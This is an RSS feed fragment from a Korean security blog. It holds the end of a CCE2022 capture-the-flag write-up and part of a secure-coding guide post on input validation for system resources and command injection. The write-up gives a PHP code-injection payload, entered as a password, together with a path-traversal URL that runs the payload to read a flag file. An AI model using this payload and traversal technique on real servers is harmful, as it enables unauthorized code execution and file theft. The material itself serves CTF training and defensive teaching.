&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 코드를 분석한 내용으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 Flag를 얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;문제 풀이 순서:&lt;br /&gt;1. 회원가입 시 ID, PW를 아래와 같이 입력&lt;br /&gt;&lt;/b&gt;- ID: [임의의 값].php&lt;br /&gt;&amp;nbsp; &amp;nbsp;(save_user_id 함수를 이용한 .php 파일 생성)&lt;br /&gt;- PW: &amp;lt;?php echo file_get_contents(&quot;/flag&quot;); ?&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;(/flag 파일의 내용을 읽어오는 코드)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. http://[대상 사이트]?a=../../dbs/[임의의 값] 으로 접속&lt;/b&gt;&lt;br /&gt;- 생성된 Exploit 파일 호출 및 실행&lt;br /&gt;- Flag 획득&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Exploit 코드로 회원가입&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flag의 내용을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력할 PHP 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만들기 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exploit 코드를 포함하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 내용으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;회원가입 시 ID, PW를 아래와 같이 입력:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- ID: [임의의 값].php&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;(save_user_id 함수를 이용한 .php 파일 생성)&lt;br /&gt;&lt;b&gt;- PW: &amp;lt;?php echo file_get_contents(&quot;/flag&quot;); ?&amp;gt;&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;(/flag 파일의 내용을 읽어오는 코드)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;915&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XnGiu/btrM8OjTOaK/5KOx2TqIXTit1gVDSEX5LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XnGiu/btrM8OjTOaK/5KOx2TqIXTit1gVDSEX5LK/img.png&quot; data-alt=&quot;Exploit 코드로 회원가입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XnGiu/btrM8OjTOaK/5KOx2TqIXTit1gVDSEX5LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXnGiu%2FbtrM8OjTOaK%2F5KOx2TqIXTit1gVDSEX5LK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;238&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;915&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Exploit 코드로 회원가입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oSJpz/btrM2q6wgCB/Ti8zsqAHW0jds3TwQjvzv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oSJpz/btrM2q6wgCB/Ti8zsqAHW0jds3TwQjvzv0/img.png&quot; data-alt=&quot;회원가입 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oSJpz/btrM2q6wgCB/Ti8zsqAHW0jds3TwQjvzv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoSJpz%2FbtrM2q6wgCB%2FTi8zsqAHW0jds3TwQjvzv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;121&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;회원가입 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 Dockerfile로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 이미지와 컨테이너를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성하여 테스트하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dj1TWa/btrM8N6mRXs/bgfhGdauEk0UmWzLcn6PJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dj1TWa/btrM8N6mRXs/bgfhGdauEk0UmWzLcn6PJK/img.png&quot; data-alt=&quot;생성된 파일에서 Exploit 코드 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dj1TWa/btrM8N6mRXs/bgfhGdauEk0UmWzLcn6PJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdj1TWa%2FbtrM8N6mRXs%2FbgfhGdauEk0UmWzLcn6PJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;57&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;생성된 파일에서 Exploit 코드 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Exploit 코드 실행&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필요한 파일이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성되었으니,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞에서 확인한 대로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a 파라미터에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 파라미터를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행하는 값을 포함하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트에 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flag를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;377&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXVsdB/btrM633piWa/lpVhrOK6kYVXwSWj6WMCI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXVsdB/btrM633piWa/lpVhrOK6kYVXwSWj6WMCI1/img.png&quot; data-alt=&quot;Flag 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXVsdB/btrM633piWa/lpVhrOK6kYVXwSWj6WMCI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXVsdB%2FbtrM633piWa%2FlpVhrOK6kYVXwSWj6WMCI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;98&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;377&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Flag 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>CCE</category>
      <category>CCE2022</category>
      <category>CTF</category>
      <category>writeup</category>
      <category>사이버공격방어대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/169</guid>
      <comments>https://chmodi.tistory.com/169#entry169comment</comments>
      <pubDate>Mon, 26 Sep 2022 18:01:41 +0900</pubDate>
    </item>
    <item>
      <title>[설계 단계 - 입력데이터 검증 및 표현] 시스템 자원 접근 및 명령어 수행 입력값 검증</title>
      <link>https://chmodi.tistory.com/168</link>
      <description>&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;소프트웨어 보안약점 진단가이드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;2021.11&amp;nbsp;개정안 기준&lt;/b&gt;으로 작성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;- 이후 내용이 수정될 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&lt;b&gt;&lt;b&gt;[항목]&lt;br /&gt;&lt;/b&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;- 시스템 자원 접근 및 명령어 수행 입력값 검증&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;[유형]&lt;br /&gt;&lt;/b&gt;- 입력데이터 검증 및 표현&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[기준]&lt;br /&gt;&lt;/b&gt;- 시스템 자원접근 및 명령어를 수행할 때&lt;br /&gt;&amp;nbsp; &lt;b&gt;입력값에 대한 유효성 검증방법 설계&lt;/b&gt; 및&lt;br /&gt;&amp;nbsp; &lt;b&gt;유효하지 않은 값에 대한 처리방법&lt;/b&gt;을&lt;br /&gt;&amp;nbsp; &lt;b&gt;설계&lt;/b&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[보안 대책]&lt;/b&gt;&lt;br /&gt;- 외부&lt;b&gt;입력값&lt;/b&gt;을 이용하여&lt;br /&gt;&amp;nbsp; &lt;b&gt;시스템자원(IP, PORT번호, 프로세스, 메모리, 파일 등)을 식별&lt;/b&gt;하는 경우&lt;br /&gt;&amp;nbsp; &lt;b&gt;허가되지 않은 자원이 사용되지 않도록&lt;/b&gt; 해야 한다.&lt;br /&gt;-&lt;span&gt; 서버프로그램 안에서 셸을 생성하여 &lt;b&gt;명령어를 실행&lt;/b&gt;해야 하는 경우&lt;br /&gt;&amp;nbsp; 외부입력값에 의해 &lt;b&gt;악의적인 명령어가 실행되지 않도록&lt;/b&gt; 해야 한다&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[구현단계 관련 보안약점]&lt;br /&gt;&lt;/b&gt;- 입력 데이터 검증 및 표현 &amp;gt; 코드 삽입&lt;br /&gt;- 입력 데이터 검증 및 표현 &amp;gt; 경로 조작 및 자원 삽입&lt;br /&gt;- 입력 데이터 검증 및 표현 &amp;gt; 서버사이드 요청 위조&lt;br /&gt;- 입력 데이터 검증 및 표현 &amp;gt; 운영체제 명령어 삽입 &lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;경로 조작 및 자원 삽입&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 &lt;b&gt;입력값 조작&lt;/b&gt;으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시스템&lt;/b&gt;이 보호하는 &lt;b&gt;자원에 임의로 접근&lt;/b&gt;하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;자원의 수정&amp;middot;삭제, 시스템 정보누출, 시스템 자원 간 충돌로 인한 서비스 장애 등&lt;/b&gt;&lt;/u&gt;을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;유발&lt;/b&gt;시킬 수 있는 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 경로 조작 및 자원 삽입으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 허용되지 않은 권한을 획득하여,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설정에 관계된 파일을 변경하거나 실행&lt;/b&gt;시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;278&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8drsY/btrInH4rZpU/BQa1W0mK4NcGalXl8622eK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8drsY/btrInH4rZpU/BQa1W0mK4NcGalXl8622eK/img.png&quot; data-alt=&quot;경로 조작 및 자원 삽입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8drsY/btrInH4rZpU/BQa1W0mK4NcGalXl8622eK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8drsY%2FbtrInH4rZpU%2FBQa1W0mK4NcGalXl8622eK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;545&quot; height=&quot;278&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;278&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;경로 조작 및 자원 삽입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;입력값을 조작하여 허가되지 않은 명령 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적절한 검증절차를 거치지 않은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 &lt;b&gt;입력값&lt;/b&gt;에 의해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;의도하지 않은 시스템 명령어가 실행&lt;/b&gt;&lt;/u&gt;되어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;부적절하게 사용자 권한이 변경&lt;/b&gt;되거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시스템 동작 및 운영에 악영향&lt;/b&gt;을 미칠 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkSIF1/btrInZcIYZD/PmGYUNFUjLv5OOvr4trgK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkSIF1/btrInZcIYZD/PmGYUNFUjLv5OOvr4trgK0/img.png&quot; data-alt=&quot;운영체제 명령어 삽입 취약점&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkSIF1/btrInZcIYZD/PmGYUNFUjLv5OOvr4trgK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkSIF1%2FbtrInZcIYZD%2FPmGYUNFUjLv5OOvr4trgK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;317&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;운영체제 명령어 삽입 취약점&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설계 시 고려사항(보안 대책)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 대책의 세부 내용 입니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;1. 외부&lt;b&gt;입력값&lt;/b&gt;을 이용하여&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;시스템자원(IP, PORT번호, 프로세스, 메모리, 파일 등)을 식별&lt;/b&gt;하는 경우&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;허가되지 않은 자원이 사용되지 않도록&lt;/b&gt; 해야 한다.&lt;br /&gt;&lt;br /&gt;- &lt;b&gt;(화이트리스트 방식)&lt;/b&gt;&lt;br /&gt;&amp;nbsp; 외부&lt;b&gt;입력값&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; 프로그램 내부에서 사용하는 리소스를&lt;br /&gt;&amp;nbsp; 결정하는데 &lt;b&gt;직접적으로 사용되지 않도록 설계&lt;/b&gt;한다.&lt;br /&gt;&amp;nbsp; 즉, 기능 설계시&lt;br /&gt;&amp;nbsp; &lt;b&gt;사용해야 하는 리소스 목록을 정의&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &lt;b&gt;지정된 범위 안&lt;/b&gt;에서&lt;br /&gt;&amp;nbsp; &lt;b&gt;리소스를 선택하여 사용&lt;/b&gt;하도록 해야하며,&lt;br /&gt;&lt;b&gt;&amp;nbsp; 리소스 목록&lt;/b&gt;은 &lt;u&gt;&lt;b&gt;프로퍼티파일이나 XML파일로 정의&lt;/b&gt;&lt;/u&gt;하여&lt;br /&gt;&amp;nbsp; &lt;b&gt;리소스 정보를 변경&lt;/b&gt;하는 경우&lt;br /&gt;&amp;nbsp; &lt;b&gt;프로그램 수정을 최소화 &lt;/b&gt;할 수 있도록 관리한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;- (블랙리스트: 필터링 방식)&lt;/b&gt;&lt;br /&gt;&amp;nbsp; 사용자의 요청 리소스가&lt;br /&gt;&amp;nbsp; 특정 디렉토리내의 모든 파일인 경우에는&lt;br /&gt;&amp;nbsp; 모든 파일명을 목록화하는 것은 어렵다.&lt;br /&gt;&amp;nbsp; 이런 경우는 &lt;b&gt;입력값 중&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &lt;b&gt;경로조작을 일으킬 수 있는 문자(.., /, ￦)를 제거하고 사용&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &lt;b&gt;지정된 경로내의 파일만 접근 가능&lt;/b&gt;하도록&lt;br /&gt;&amp;nbsp; &lt;b&gt;시큐어코딩 규칙을 정의&lt;/b&gt;한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;2.&lt;span&gt; 서버프로그램 안에서&lt;br /&gt;&amp;nbsp; &amp;nbsp; 셸을 생성하여 &lt;b&gt;명령어를 실행&lt;/b&gt;해야 하는 경우&lt;br /&gt;&amp;nbsp; &amp;nbsp; 외부입력값에 의해&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;악의적인 명령어가 실행되지 않도록&lt;/b&gt; 해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;br /&gt;2.1 서버프로그램 안에서&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;셸을 생성해서 &lt;u&gt;&lt;b&gt;명령어가 실행되는 구조를 가지지 않도록&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;u&gt;&lt;b&gt;설계&lt;/b&gt;&lt;/u&gt;하는 것이 우선&lt;br /&gt;2.2 이러한 기능이 필요한 경우에는 외부&lt;b&gt;입력값&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;u&gt;&lt;b&gt;직접적으로 명령어의 일부로 사용되지 않도록&lt;/b&gt;&lt;/u&gt; 해야 한다.&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;(화이트 리스트 방식)&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 명령어의 일부로 &lt;b&gt;사용되어야 하는 값들을 목록화&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;목록 내에 있는 값들로만&lt;/b&gt; 명령어가 조립되어 &lt;b&gt;실행&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- &lt;b&gt;목록화 되어 있는 값 &lt;/b&gt;&lt;b&gt;변경 &lt;/b&gt;시, 프로그램이 수정되지 않도록&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;프로퍼티파일이나 XML파일을 사용&lt;/b&gt;하여 &lt;b&gt;허용목록을 작성&lt;/b&gt;한다.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;- 외부&lt;b&gt;입력 값&lt;/b&gt;은 &lt;u&gt;&lt;b&gt;목록화된 정보를 검색하는 인덱스값&lt;/b&gt;&lt;b&gt;으로 사용&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;진단 기준 및 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 1&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;외부 &lt;b&gt;입력값&lt;/b&gt;을 이용하여&lt;br /&gt;&lt;b&gt;시스템자원(IP, PORT번호, 프로세스, 메모리, 파일 등)을 식별&lt;/b&gt;하는 경우&lt;br /&gt;&lt;b&gt;허가되지 않은 자원이 사용되지 않도록&lt;/b&gt; 해야 한다.&lt;/span&gt;&lt;/blockquote&gt;
